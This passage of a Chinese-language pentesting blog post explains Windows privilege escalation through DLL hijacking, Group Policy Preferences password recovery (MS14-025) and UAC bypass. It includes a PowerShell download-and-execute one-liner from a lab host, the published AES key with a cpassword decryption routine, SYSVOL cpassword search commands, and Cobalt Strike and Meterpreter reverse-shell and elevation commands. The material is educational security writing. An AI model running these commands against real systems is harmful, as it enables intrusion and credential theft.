在特权文件操作滥用(例如:任意文件写入)时非常有用,假设你发现了一个服务,该服务允许你写入任意文件并且以NT AUTHORITY SYSTEM权限到文件系统上的任何位置,配置DLL劫持就可以完成NT AUTHORITY SYSTEM的任意代码执行。

任意文件写入为DLL 劫持提供了新的攻击面,不仅限于%PTAH%目录,还可以考虑劫持应用程序目录中的DLL,或者直接在C:\WINDOWS\System32中也可以,然后使用DLL Sideloading(DLL 旁路) 和Phantom DLL Hijacking(DLL劫持)。

这里出现了两个新的名词,我分别解释下: DLL Sideloading :直译为DLL侧面加载攻击,利用WinSXS 目录,详细的请看fireeye的这篇报告。并且UACme项目中第18中方法就是靠这种方法bypass UAC的。 Phantom DLL Hijacking:直译为幻影DLL劫持,使用非常老的DLL,但应用程序任然试图加载,在搜索路径中给出对应的DLL,就会执行恶意新的恶意代码。 整篇描述的内容是DLL hijacking,DLL劫持只是一个核心的概念, 侧重的是利用搜索顺序劫持,如果不理解上面两个也没关系,笔者也不懂。

这里举个DLL 旁路的例子:

因为Windows Management Instrumentation服务启动类型是自动,这里停止之后自动启动,在

ProcessMonitor的Filter配置为Process Name 为wmiprvse.exe

可以看到首先尝试在C:\Windows\System32\wbem寻找wbemcomn.dll,结果为Name Not FOUND,因为wmiprvse.exe所在的目录就是C:\Windows\System32\wbem,尽管wbemcomn.dll是个系统库。

如果你发现任意文件写入漏洞,可以在C:\WINDOWS\System32\wbem植入wbemcomn.dll的恶意版本,在机器重启后,服务将以NT AUTHORITY\SYSTEM身份加载DLL,虽然实战过程中不推荐这样做,主要有两个原因:

  • 需要重新启动:重启很可能导致当前的权限断掉
  • 服务启动失败:即使成功的写入DLL到目标文件中,服务以NT AUTHORITY\SYSTEM身份加载DLL,但是服务成功启动了吗?没有,因为它无法加载DLL,可以编写一个代理DLL(原文翻译就这样),但是这明显会增加开发工作量。

Windows的默认安装有很多类似的供给面,尽管DLL劫持十分普遍,考虑到上面所说的两个原因,找到适合漏洞利用的点却很难,这就是 DiagHub technique类的漏洞利用非常有趣的原因,现在修补这种技术,但当时解决了这两个问题:

  • 它可以由普通用户通过RPC触发,甚至可以选择要加载的DLL的名称,只要他在System32文件夹中,它将有服务加载。
  • 可以安全的执行自己的代码,不用担心服务崩溃。
  • 无需编写DLLMain()。 这里说下什么是DLL Main(),DLL的入口函数,注意DLL不一定有DLLMain函数。

微软最后通过强制执行代码签名来阻止了这种利用。这种技巧只能加载微软签名的库。

这里作者提到了另外一种技术。

测试的角度看劫持DLL

测试过程中,得到一个稳定的shell之后,我们应该做的第一件事寻找系统配置错误,使用0day和最近公开的特权提升漏洞通常是最后的选择。

第三方应用程序引入漏洞的原因通常使没有正确安装:

一个比较常见的错误:第三方应用安装在主分区(C:\)的根目录上,或安装在单独的分区(例如D:\)上。

比如这样,前面在介绍弱服务权限我也提过,主要这两行:

NT AUTHORITY\Authenticated Users:(I)(M)

NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

意味所有经过身份验证的用户对该文件拥有从父容器继承(I)的修改权限(M),子目录继承(IOICIIO)父目录的修改权限(M)。

笔者的描述可能不正确,错误请指出。

如果管理员没有对其检查,则该应用程序的文件夹容易收到攻击,以下使两种常见的情况:

  • 安装程序创建了一个服务,该服务以NT AUTHORITY\SYSTEM运行并从该目录执行程序。这种情况下,可以使用DLL 旁路,在应用程序的文件加植入该服务使用的DLL
  • 安装程序将应用程序的目录添加到系统的%PATH%

最常见的第二种情况,那么需要什么条件?需要一个高权限的进程,该进程试图从不安全的文件加加载DLL。这种情况很容易在Windows服务上出现。

更为理想的目标是怎样的?可以概括3个条件:

  • 常见加载不存在的DLL,不指定完整的路径。
  • 没有使用安全DLL搜索模式
  • 它以NT AUTHORITY\SYSTEM,主要为了方便讨论,不是严格要求的。

在Windows 10上,符合这些条件的服务几乎消失了,但是仍然能够找到。例如schedule服务:

本来该有个图,笔者无法复现。简单描述下,该服务试图从C:\ MyCustomApp加载此 DLL

注意:服务加载DLL之后,不会被释放,无法删除该文件。或者获取System shell之后就停止服务(需要system权限),删除文件。

如何防御?

如何完成DLL 劫持?前面已经反复说到,DLL劫持只是一个技术而不是漏洞,我们需要的实际上“弱文件夹权限”或“特权文件操作滥用”漏洞。

这里翻译很懵,这里我写的是个人的理解,建议看原文。

  • 弱文件夹权限:文件夹权限配置错误,低权限用户可更改
  • 特权文件操作滥用:以高权限运行的进程可访问用户控制的所以文件或目录,举个例子,权限不足写入某个文件夹,但是当前用户可调用高权限进程进程写入文件夹

上面介绍调用DLL函数的时候仅介绍了LoadLibrary,没有介绍LoadLibraryEx:

代码语言:javascript
复制
HMODULE LoadLibraryEx(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);#需要关注的是dwFlags 标志,这里列举影响关注的几个标志位#LOAD_LIBRARY_SEARCH_APPLICATION_DIR 如果使用此值,则在应用程序的安装目录中搜索DLL及其依赖项。不搜索标准搜索路径中的目录。#LOAD_LIBRARY_SEARCH_SYSTEM32 如果使用此值,则在%windows%\ system32中搜索DLL及其依赖项。不搜索标准搜索路径中的目录。#LOAD_LIBRARY_SEARCH_USER_DIRS 如果使用此值,则在使用AddDllDirectory或 SetDllDirectory函数添加的目录 中搜索DLL及其依赖项。如果添加了多个目录,则未指定搜索目录的顺序。不搜索标准搜索路径中的目录

可能这样描述没有什么感觉,这里提一个DLL劫持的漏洞案例:“ikeext dll hijacking”

IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll,但Windows系统默认配置下该dll不存在,如果我们将自己的dll放在这个位置,在服务启动时就能加载该dll——《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展

但是这个问题在Windows 8.1 开始就不存在了,如何修复的:

图来自——Windows DLL Hijacking

LoadLibrary变成了LoadLibraryEx,并且附加标志位LOAD_LIBRARY_SEARCH_SYSTEM32,将搜索顺序限制在%windows%\ system32,从而修复了漏洞。

这篇文章对我有用的部分我就暂且记录到这里,以上世我从原文理解到的一些内容,如有不对,请留言指出。

演示的案例

这里我使用ProcessMonitor来发现适合的目标,这里有有一些工具可以快速发现适合DLL hijack的工具:

  • Robber
  • Rattler 这个已经很久没更新了
  • DLL Hijack Auditor

这里分享下常用的几个使用ProcessMonitor中Filter的设置,Result、Process Name 、PID、Path、User

我直接用@Wing博客中的案例演示,笔者测试会出现各种各样的问题,例如无法定位动态库链接等等……。

利用的是Microsoft .NET Framework 4.6.1的安装程序,使用Cobalt Strike 生成一个CRYPTSP.dll,放在安装包所在的目录下,执行安装包,可看到机器上线:

后话

DLL Hijacking学习过程中主要理解了DLL 的搜索顺序以及影响搜索顺序的点,更多的操作则需要一些代码功底,很抱歉,笔者这方面不会。

还有一些技术没有提到,比如DLLInjector,Powersploit提供了Invoke-DllInjection,上面所介绍的 DLL Hijcking,也提供了Find-ProcessDLLHijackFind-PathDLLHijackWrite-HijackDllj进行查找,和写入DLL

Com Hijacking

参考:

Component Object Model Hijacking

Persistence – COM Hijacking

Use COM Object hijacking to maintain persistence——Hijack explorer.exe

T1122: COM Hijacking

COM Hijacking Techniques - Derbycon 2019

COM Hijacking Techniques

这里搜集了下资料,留待未来再研究,研究不动了,有兴趣的请看上述参考链接。

组策略提权

参考:

MS14-025:组策略首选项中的漏洞可能允许特权提升:2014年5月13日

Microsoft Security Bulletin MS14-025 - Important

域渗透] - 从SYSVOL中获取密码

域渗透——利用SYSVOL还原组策略中保存的密码

先说下如何复现,在域控的组策略管理gpmc.msc(我这里用的默认策略)中设置一条添加用户和组的策略:

域成员机器上更新组策略,并且使用Get-GPPPassword模块获取组策略中的密码:

代码语言:javascript
复制
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/PowerSploit/Exfiltration/Get-GPP

接下来都是废话了

由于组策略中还有其他策略中有添加用户的策略,这里也发现了其他策略中的账号和密码,该漏洞的微软漏洞编号为MS14-025,CVE编号为CVE-2014-1812,补丁编号KB2928120。

以下组策略首选项均受此漏洞影响:

  • 驱动器映射
  • 本地用户和组
  • 计划任务
  • 服务
  • 数据源
  • ……

这项首选项中含有对应的登录凭证

简单说下组策略的一些信息:

组策略容器位于LDAP数据库CN=Policies,CN=System,DC=0day,DC=org,节点以GUID命名,这里展示下默认组策略条目的属性:

可以注意到其中gPCFileSysPath属性的值是\\0day.org\sysvol\0day.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9},该属性说明了组策略模板(GPT)所在的具体路径,即物理路径:

该文件夹的权限如下

我演示的是另一个文件夹,不过权限都类似

很容易注意到NT AUTHORITY\Authenticated Users用户拥有读取并执行访问的权限,且下面的子目录将继承通用读取和通用执行((OI)(CI)(IO)(GR,GE)))

解读可能不对,懂得师傅请指教。

Macheine目录中包含策略中的计算机配置,User目录中包含策略中的用户配置,前面提到的用户名和密码加密存储在xml的cpassword字段中:

密码字段使用的是AES256加密,但是微软公布了32字节的密钥:

代码语言:javascript
复制
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

这里直接使用PowerSploit的的Get-DecryptedCpassword展示下解密逻辑。

代码语言:javascript
复制
$Mod = ($Cpassword.length % 4)            switch ($Mod) {                '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}                '2' {$Cpassword += ('=' * (4 - $Mod))}                '3' {$Cpassword += ('=' * (4 - $Mod))}            }            $Base64Decoded = [Convert]::FromBase64String($Cpassword)                        # Make sure System.Core is loaded            [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null            #Create a new AES .NET Crypto Object            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)            #Set IV to all nulls to prevent dynamic generation of IV value            $AesIV = New-Object Byte[]($AesObject.IV.Length)            $AesObject.IV = $AesIV            $AesObject.Key = $AesKey            $DecryptorObject = $AesObject.CreateDecryptor()            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)

注意这里显示的是本地组策略缓存,域控通过SMB协议下发,使用gpupdate /force可重建缓存

另外一些技巧

代码语言:javascript
复制
where.exe /R \\0day.org\sysvol *.xmlfindstr /S /I cpassword \\0day.org\sysvol\0day.org\policies\*.xmlwhere.exe /R \\FQDN\sysvol *.xmlfindstr /S /I cpassword \\FQDN\sysvol\0day.org\policies\*.xml
  • 安装KB2962486之后,密码将不会保存在组策略首选项中,但是以前带有密码的组策略首选项文件不会从SYSVOL删除
  • 可能得到的密码没有任何价值,唯一的价值是加入字典文件中。

更多的组策略利用:

  • 组策略权限委派滥用
  • 组策略即时任务权限维持
  • ……,后续在补充吧

Bypass UAC

同样是一个写起来非常深入的话题,笔者自觉只能浅显的介绍该特性和使用工具。

参考:

用户帐户控制工作原理

Windows 中的 UAC 用户账户控制

User Account Control – What Penetration Testers Should Know

Offense and Defense – A Tale of Two Sides: Bypass UAC

Windows Integrity Mechanism Design

BypassUAC只是最后的效果,这个过程涉及了几个概念,UACAccess TokensPrivilegesIntegrity Levels,请务必理解这些概念。

UAC是什么?

不同系统上的UAC上有一些微小差异,以下以Win10为准。

UAC(User Account Control,用户账号控制)是微软在Windows Vista和Windows Server 2008 中引入的一种控制机制。具体的效果用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,要求提供权限或管理员‌密码。

在理解UAC的机制前,先理解一些概念。

Integrity levels

参考:Mandatory Integrity Control

UAC使用强制完整性控制来隔离具有不同特权的运行进程:

Mandatory Integrity Control (MIC)又是什么?

MIC使用完整性级别和强制性策略来评估访问。安全主体和安全对象被分配了完整性级别,这些完整性级别确定它们的保护或访问级别。例如,具有低完整性级别的主体无法写入具有中等完整性级别的对象,即使该对象的DACL允许对该主体进行写访问。

Windwos定义了四个完整性级别:low、medium、 high、system。

其实有5个。

  • Mandatory Label\Low Mandatory Level(S-1-16-4096):不对应任何一个用户组,为特殊保护的应用程序准备的,如Internet Explorer使用low级别运行进程,所以它无法修改系统级别的对象。
  • Mandatory Label\Medium Mandatory Level(S-1-16-8192):对应Users组拥有的最高权限
  • Mandatory Label\High Mandatory Level(S-1-16-12288):对应Administrator组拥有的最高权限
  • Mandatory Label\System Mandatory Level(S-1-16-16384):对应System用户拥有的最高权限

在SDDL (Security Descriptor Definition Language,安全描述符定义语言),完整性级别定义为sid字符串,SDDL定义了ConvertSecurityDescriptorToStringSecurityDescriptor和ConvertStringSecurityDescriptorToSecurityDescriptor函数用来描述安全描述符为文本字符串的字符串格式。 参考:Windows Integrity Mechanism Resources Windows Vista在安全访问令牌中使用完整性级别SID来表示主体完整性级别,在安全描述符中的强制标签ACE中使用完整性级别SID来表示对象完整性级别。 参考:Appendix A: SDDL for Mandatory Labels

注:完整性等级不仅存在于 Processes 中,各种安全对象都有 Integrity levels,比如资源上也有,一个文件也可以有。在访问资源时,会将进程的访问令牌和资源的访问控制列表进行比较,已确认该进程是否具有访问该资源的权限,完整性级别低的进程无法写入完整性级别高的资源对象。

笔者这里展示下不同的完整性等级(Integrity levels)的进程:

可能大家有一个这样的经历,某程序在执行过程中要求启用弹出UAC要求使用管理员权限,同意之后获得高权限,但实际上,此时操作的应用进程完整性等级为 high,UAC之前应用完整性等级为medium,本质上是以管理权限重新开启了应用程序,而不是在原有应用上提升权限,不是同一个进程了。

可以看到不同的权限下对应不同的Integrity levels sid。

上面提到了访问令牌(access token),这里也解释下access token

Access Tokens

这段描述其实就是MSDN的描述,字面意思。

参考:Security Identifiers

访问令牌是Windows操作系统用于描述进程或线程安全上下文的一种对象,令牌中的信息包括进程或线程关联的用户账户的表示和特权,系统通过将用户密码存储在安全数据库中的信息比较验证用户密码。如果密码经过验证,系统将生成一个访问令牌。代表这个用户执行的每个进程都由这个令牌的一个副本。

当线程与安全对象交互或试图执行需要特权的系统任务时,系统使用访问令牌来标识用户。访问令牌包含以下信息:

  • 用户账户的安全标识符(sid)
  • 用户所属的组SID
  • 标识当前登录会话(logon session )的登录SID(login SID)
  • 所有者SID
  • 主要组的SID
  • 访问控制列表(ACL,不指定安全描述符时使用默认的DACL)
  • 访问令牌的来源
  • 令牌是主令牌( primary )还是模拟令牌( impersonation)
  • 限制SID的可选列表
  • 当前的模拟等级(impersonation levels)
  • 其他统计数据

注:代表完整性级别的sid包含在组SID中

UAC在登录过程中的作用

还是那句话,笔者描述可能不正确,务必以MSDN为准。

参考:用户帐号控制

当用户登录到计算机时,系统会为该用户创建访问令牌。访问令牌包含有关授予用户访问级别的信息,包括特定的安全标识符(SID)和Windows特权。 管理员登录后,将为用户创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌。标准用户访问令牌包含与管理员访问令牌相同的特定于用户的信息,但是已删除管理Windows特权和SID。标准用户访问令牌用于启动不执行管理任务的应用程序(标准用户应用程序)。然后,使用标准的用户访问令牌来显示桌面(Explorer.exe)。Explorer.exe是父进程,所有其他用户启动的进程都将从该父进程继承其访问令牌。结果,除非用户提供同意或凭据来批准应用程序使用完整的管理访问令牌,否则所有应用程序均以标准用户身份运行。——How User Account Control Works

笔者在MSDN中找到了另一种描述,不过是Windows Vista上的描述 管理员登录时,将为用户授予两个访问令牌:完整的管理员访问令牌和“过滤”的标准用户访问令牌。 ——了解和配置Windows Vista中的用户帐户控制 启用AAM后,管理员将同时收到完整访问令牌和第二个访问令牌,称为已过滤访问令牌——User Account Control

总之,意思就是这么个意思,就算你是管理员,在默认情况下,登录之后得到的还是标准用户的权限(Medium、中等完整性)。为了执行管理任务,都必须经过UAC认证,或者输入正确的凭据,经过UAC认证或输入凭据之后,才会分配完整的管理员访问后令牌。

这里补两张图,一张是微软官方的,一张是@sh1yan画的图,结合图理解以下概念:

注意Low、High、Medium完整性等级是如何来的

UAC提升权限的行为

默认情况下,如果用户尝试提升权限,则会提示是否同意:

这里我直接使用微软的官方图

如果是标准用户尝试提升权限,则会提示输入管理员凭据:

应用程序是否要需要UAC通知

参考:

User Account Control Group Policy and registry key settings

Windows 的 UAC 设置中的通知等级实际上只有两个档而已

深入了解 Windows 7 用户帐户控制

最初UAC在Windows Vista上出现的时候只有两个设置:

  • 始终通知:安装软件和更改我的计算机或更改了Windows设置通知我(启用UAC)
  • 从不通知:安装软件和更改我的计算机或更改了Windows设置不要通知我(禁用UAC)

字面意思,始终通知就是需要管理权限时都通知用户,而从不通知则禁用了UAC。

但是Windows自带的Windows设置大部分都需要管理权限,这就会遇到一个问题——通知过多。

为了解决这个问题,Windows 7 引入了两个设置之间的缓冲带,本质上UAC将自带的一些程序加入白名单(笔者个人理解),即Windows允许一部分可执行文件经过UAC经过提权。

Windows 如何验证这些程序?数字证书

在Windows 10 上的通知等级如下:

  • 高(始终通知)
  • 中等(默认,将检查”用户帐户控制: 仅提升已签名和验证的可执行文件“策略设置,若开启,则使用PKI证书验证,然后才允许,若禁用,不进行PKI证书验证,检查”用户帐户控制: 提示提升时切换到安全桌面“策略设置)
  • 从不通知(此设置等同于组策略设置”用户帐户控制: 在管理审批模式下管理员的提升提示行为“设置为“无提示提升”)

可能你注意到我描述了通知等级有点变化,从最开始的从不通知等同于禁用UAC,到最新版从不通知等同组策略里的设置,但是这里没有提到UAC是否关闭,答案是没有。 从Windows server 2012 UAC 开始,新设置将:

  • 保持UAC服务运行
  • 管理员启动的提权请求自动获得批准
  • 自动拒绝标准用户的所有提权请求

如果想彻底禁用UAC,请禁用策略”用户帐户控制: 在管理批准模式下运行所有管理员。”

请理解这几种设置仅仅时配置了是否通知用户,举个例子,如果在Windows 10上配置从不通知,使用管理员用户执行需要管理特权将不会看到UAC提示框,应用程序直接获得管理权限,但是,如果执行用户是标准用户,任然会看到UAC提示框要求输入管理员凭据(标准用户的提权行为取决于下一小节的的组策略设置)

影响UAC提示的行为的策略

在组策略中有UAC的相关配置选项,这里关注几个设置:

  • 用户帐户控制:管理员批准模式策略设置中的管理员的提升提示行为。 参考:User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode

字面意思,该设置决定了标准用户是否可以通过UAC获得管理员权限。

  • 用户账户控制:管理员批准模式下管理员的提升提示行为 参考:User Account Control: Behavior of the elevation prompt for standard users

其实这个设置和上一个也类似,不过上一个是标准用户的行为,这个是管理员用户的行为,这么说可能还是有点不理解,比如当前用户是管理员,如果该设置为提示凭据,执行一个需要提升权限的程序,那么会提示让你输入管理员凭据,你可以会奇怪这不是很正常吗?但是默认设置下是”非 Windows 二进制文件的同意提示“,给出的弹框是允许或拒绝,而不是输入管理员凭据。

  • 用户帐户控制: 以管理员批准模式运行所有管理员 参考:User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode

该设置决定了是否开启UAC,若禁用,则管理员组类账号直接获取管理员权限,无需经过UAC提示框。

更多的策略设置请参考这篇文章。

如何构造能够触发UAC的程序?

参考:应用程序清单 Manifest 中各种 UAC 权限级别的含义和效果

在知道这个问题的答案之前需要思考程序触发UAC的必要条件是什么?首先系统是如何知道应用程序需要提升权限?答案是应用程序清单(Manifests),应用程序通过应用程序清单主动告诉系统需要提示权限。

应用程序清单是一个 XML 文件,它描述并标识了应用程序在运行时应绑定到的共享和私有并列组件。(机翻的,大致意思懂就行)

如果应用程序时安装程序则时另外一回事了。

在应用程序清单中可以声明程序的执行级别,用来获得应用程序所需要的特权,有3种设置(虽然没有该设置也是一种设置):

  • asInvoker(跟随父进程,默认用户启动的父进程都是explorer.exe,而在UAC开启下,获得的都是标准用户权限,即默认打开获得的一般都是标准用户权限)
  • highestAvailable(以其最高的权限运行,如果当前用户是标准用户,则获得的是标准用户权限,如果当前用户是管理员用户,出现盾牌图标,出现UAC提示框提权)
  • requireAdministrator(以管理员权限运行,调用的用户必须是Administrator组成员,如果不是,将提示输入凭据)

也就是说只要编译程序时修改应用程序清单文件的level为”requireAdministrator” ,就能确保触发UAC:

这里是个C#项目,如果想复现的请添加C#相关组件,在新建项使用应用程序清单模板即可。 C/C++项目中请在属性页——链接器——清单文件中配置相关选项。

最后生成的应用程序带有盾牌标志:

如果shellcode使用这种方式编译……

事实上应用程序的清单文件也是可以转储的,使用sigcheck.exe 即可。

虽然我前面提到Windows UAC 中有着白名单机制(可自动提升权限),但是这个机制是什么?

参考:深入了解 Windows 7 用户帐户控制

  • 可执行文件带有 Windows Publisher 的数字签名
  • 可执行文件位于“安全“的目录(标准用户无法修改的目录)
  • 视可执行文件对象而定,还有一些附加规则,我这里只关注exe(mmc.exe 和COM对象暂且不表),清单文件中需指定”autoElevate “属性

这几个条件非常关键,它是为什么能够bypass UAC的原因。

代码语言:javascript
复制
sigcheck -m %systemroot%\system32\taskmgr.exe | findstr /i autoelevatestrings –s *.exe | findstr /i autoelevate #或使用strings工具发现这种程序

参考:Sigcheck

这里还有很多能够自动提升的规则,限于笔者能力,建议阅读参考链接原文,详细的规则请在编码中体会。

注意:这几个条件是 and 的关系,任何一个条件不满足,都无法自动提升权限

Bypass UAC

笔者花了很多事件试图理解Windows从用户的登录过程中的UAC,到管理用户被降权,到为何程序能够触发UAC,我希望各位了解管理员用户是入俄在启用UAC之后如何获取High完整性的(包含在access tokens中)。

需要明确的是,什么情况下需要Bypass UAC?

  • 当前用户是管理组成员:离开这个谈bypass UAC都是空谈。
  • 启用UAC:也是一句废话,如果禁用UAC(确切的说是禁用管理员批准模式),管理员组成员直接获取管理员权限,都不用bypass ,标准用户则提示凭据

注:内核提权等漏洞笔者认为不属于bypass UAC

怎么才能Bypass UAC?我的答案是白名单机制。Bypass UAC的技巧众多,但大多数都是笔者认为本质上是白名单的利用,限于笔者自身认识,前面未列出自动提升权限的程序规则(exe、mmc.exe、com对象),如果有师傅能够仔细阅读这些规则,利用权限配置错误等漏洞(例如 弱服务权限、弱文件夹权限、DLL Hijacking、COM Hijacking等等)就能够成功bypass UAC。

这里给出一些参考链接:

@三好学生:

  • Use CLR to bypass UAC
  • Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)
  • Study Notes of using sdclt.exe to bypass UAC
  • Study Notes of using SilentCleanup to bypass UAC
  • A dirty way of tricking users to bypass UAC
  • Empire中的Invoke-WScriptBypassUAC利用分析
  • 通过COM组件IARPUninstallStringLauncher绕过UAC

以下是与Bypass UAC有关的一些项目:

  • UACME 里面含有62种方法,当然一些方法在新版上已经失效了
  • DccwBypassUAC
  • WinPwnage
  • UAC_Bypass_In_The_Wild

仔细阅读这些项目,相信你会有所收获。简单演示下UACME的效果:

测试过程中请自行修改代码,请务必精简代码,以求一击致命。

Cobalt Strike 和meterpreter 中Bypass UAC

参考:Cobalt Strike 中Bypass UAC

新版4.0中已经仅有一个uac-token-duplication进行bypass-uac,笔者测试的目标机器为Win10 1809,已经无法bypass UAC,只能返回一个相同权限的beacon,你可以当成进程迁移(笑)。

笔者找到了一个脚本,发现其中还有部分能够成功bypass的:

代码语言:javascript
复制
elevate uac-fodhelper HTTPelevate uac-silentcleanup HTTP

下图是使用的演示:

为了测试meterpreter 种的bypassuac模块,这里我spawn 了一个beacon到meterpreter(即流量转发)。

新建foreign/reverse_http listener,端口8080

代码语言:javascript
复制
handler -H 10.10.10.128 -P 8080 -p windows/meterpreter/reverse_http -x

beacon> spawn foreign_HTTP #beacon中操作,图形化菜单也有#如果一切正常,能够看到session 回弹

metasploitt提供了10种bypassuac的模块:

Win10 1809 上无一攻破,这里演示下RunAs来进行bypaass UAC:

其实都不能叫做bypass UAC,需要目标主动点击允许提升,这种方法看上去就不靠谱,直接在目标上弹出一个UAC提升提示框,如果目标环境有杀软,更加困难,只能配置文件名和路径增加可信度。 某些情况比较好用,比如前面说的关闭了组策略的UAC批准模式,管理员组内用户直接过UAC

小结

有点虎头蛇尾的感觉,bypass UAC部分还能够聊很多,包括更多的细节,例如通过计划任务,白名单程序等等,无奈笔者自身认识不足。

后续的一些思路,希望将UACME的移植到CS或者MSF。

获取Net-NTLM-Hash

先开坑,我想把Net-NTLM-Hash和Kerberos等相关联系起来,至此,这一章笔者暂告一段落。

作者博客:https://wuhash.com

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Windows操作系统配置错误提权
    • 模糊路径提权
      • 弱服务权限
        • 弱注册表权限
          • AlwaysInstallElevated MSI
            • AutoLogon
              • Autoruns
                • Sysprep
                • DLL Hijacking
                • Com Hijacking
                • 组策略提权
                • Bypass UAC
                  • UAC是什么?
                    • Integrity levels
                      • Access Tokens
                        • UAC在登录过程中的作用
                          • UAC提升权限的行为
                            • 应用程序是否要需要UAC通知
                              • 影响UAC提示的行为的策略
                                • 如何构造能够触发UAC的程序?
                                  • Bypass UAC
                                    • Cobalt Strike 和meterpreter 中Bypass UAC
                                      • 小结
                                      • 获取Net-NTLM-Hash
                                      相关产品与服务
                                      网站渗透测试
                                      网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                                      领券
                                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档